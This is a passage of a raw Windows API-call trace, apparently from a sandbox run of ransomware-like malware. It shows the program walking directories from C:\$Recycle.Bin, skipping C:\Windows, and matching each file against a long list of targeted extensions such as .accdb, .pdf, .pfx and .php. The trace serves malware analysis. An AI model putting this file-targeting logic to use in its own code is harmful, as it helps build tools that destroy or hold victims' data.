lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".nef", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".nrw", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".obj", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".odb", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".odc", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".odm", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".odp", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".ods", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".oft", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".one", lpString2="SJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".onepkg", lpString2="-RKSJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".onetoc2", lpString2="v-RKSJ-H") returned -1 [0058.546] lstrcmpiW (lpString1=".opt", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".oqy", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".orf", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".p12", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".p7b", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".p7c", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pam", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pbm", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pct", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pcx", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pdd", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pdf", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pdp", lpString2="SJ-H") returned -1 [0058.547] lstrcmpiW (lpString1=".pef", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pem", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pff", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pfm", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pfx", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pgm", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".php", lpString2="SJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".php3", lpString2="KSJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".php4", lpString2="KSJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".php5", lpString2="KSJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".phtml", lpString2="RKSJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pict", lpString2="KSJ-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pl", lpString2="J-H") returned -1 [0058.548] lstrcmpiW (lpString1=".pls", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".pm", lpString2="J-H") returned -1 [0058.549] lstrcmpiW (lpString1=".png", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".pnm", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".pot", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".potm", lpString2="KSJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".potx", lpString2="KSJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".ppa", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".ppam", lpString2="KSJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".ppm", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".pps", lpString2="SJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".ppsm", lpString2="KSJ-H") returned -1 [0058.549] lstrcmpiW (lpString1=".ppt", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pptm", lpString2="KSJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pptx", lpString2="KSJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".prn", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".ps", lpString2="J-H") returned -1 [0058.550] lstrcmpiW (lpString1=".psb", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".psd", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pst", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".ptx", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pub", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pwm", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".pxr", lpString2="SJ-H") returned -1 [0058.550] lstrcmpiW (lpString1=".py", lpString2="J-H") returned -1 [0058.550] lstrcmpiW (lpString1=".qt", lpString2="J-H") returned -1 [0058.551] lstrcmpiW (lpString1=".r3d", lpString2="SJ-H") returned -1 [0058.551] lstrcmpiW (lpString1=".raf", lpString2="SJ-H") returned -1 [0058.551] lstrcmpiW (lpString1=".rar", lpString2="SJ-H") returned -1 [0058.551] lstrcmpiW (lpString1=".raw", lpString2="SJ-H") returned -1 [0058.551] lstrcmpiW (lpString1=".rdf", lpString2="SJ-H") returned -1 [0058.551] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1 [0058.551] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1 [0058.551] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1 [0058.554] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1 [0058.554] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1 [0058.554] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1 [0058.554] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1 Thread: id = 19 os_tid = 0x998 [0040.276] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39306d8 [0040.277] lstrlenW (lpString="C:") returned 2 [0040.277] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x353fd00 | out: lpFindFileData=0x353fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6031d8 [0040.277] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0040.277] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0040.277] lstrlenW (lpString="$Recycle.Bin") returned 12 [0040.277] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0040.277] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39406e0 [0040.277] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0040.277] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603218 [0040.277] FindNextFileW (in: hFindFile=0x603218, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.277] FindNextFileW (in: hFindFile=0x603218, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0040.277] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0040.278] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0040.278] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0040.278] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0040.278] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.278] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0040.278] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604260 [0040.278] FindNextFileW (in: hFindFile=0x604260, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.278] FindNextFileW (in: hFindFile=0x604260, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0040.278] lstrlenW (lpString="desktop.ini") returned 11 [0040.278] lstrlenW (lpString=".1cd") returned 4 [0040.278] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0040.278] lstrlenW (lpString=".3ds") returned 4 [0040.278] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0040.278] lstrlenW (lpString=".3fr") returned 4 [0040.278] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0040.278] lstrlenW (lpString=".3g2") returned 4 [0040.278] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0040.278] lstrlenW (lpString=".3gp") returned 4 [0040.278] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0040.278] lstrlenW (lpString=".7z") returned 3 [0040.278] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0040.279] lstrlenW (lpString=".accda") returned 6 [0040.279] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".accdb") returned 6 [0040.279] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".accdc") returned 6 [0040.279] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".accde") returned 6 [0040.279] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".accdt") returned 6 [0040.279] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".accdw") returned 6 [0040.279] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0040.279] lstrlenW (lpString=".adb") returned 4 [0040.279] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".adp") returned 4 [0040.279] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai") returned 3 [0040.279] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0040.279] lstrlenW (lpString=".ai3") returned 4 [0040.279] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai4") returned 4 [0040.279] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai5") returned 4 [0040.279] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai6") returned 4 [0040.279] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai7") returned 4 [0040.279] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".ai8") returned 4 [0040.279] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0040.279] lstrlenW (lpString=".anim") returned 5 [0040.279] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0040.279] lstrlenW (lpString=".arw") returned 4 [0040.280] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".as") returned 3 [0040.280] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0040.280] lstrlenW (lpString=".asa") returned 4 [0040.280] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".asc") returned 4 [0040.280] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".ascx") returned 5 [0040.280] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0040.280] lstrlenW (lpString=".asm") returned 4 [0040.280] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".asmx") returned 5 [0040.280] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0040.280] lstrlenW (lpString=".asp") returned 4 [0040.280] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".aspx") returned 5 [0040.280] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0040.280] lstrlenW (lpString=".asr") returned 4 [0040.280] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".asx") returned 4 [0040.280] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".avi") returned 4 [0040.280] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".avs") returned 4 [0040.280] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".backup") returned 7 [0040.280] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0040.280] lstrlenW (lpString=".bak") returned 4 [0040.280] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".bay") returned 4 [0040.280] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0040.280] lstrlenW (lpString=".bd") returned 3 [0040.280] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0040.280] lstrlenW (lpString=".bin") returned 4 [0040.281] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".bmp") returned 4 [0040.281] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".bz2") returned 4 [0040.281] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".c") returned 2 [0040.281] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0040.281] lstrlenW (lpString=".cdr") returned 4 [0040.281] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".cer") returned 4 [0040.281] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".cf") returned 3 [0040.281] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0040.281] lstrlenW (lpString=".cfc") returned 4 [0040.281] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".cfm") returned 4 [0040.281] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".cfml") returned 5 [0040.281] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0040.281] lstrlenW (lpString=".cfu") returned 4 [0040.281] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".chm") returned 4 [0040.281] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".cin") returned 4 [0040.281] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".class") returned 6 [0040.281] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0040.281] lstrlenW (lpString=".clx") returned 4 [0040.281] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0040.281] lstrlenW (lpString=".config") returned 7 [0040.281] lstrcmpiW (lpString1=".config", lpString2="top.ini") 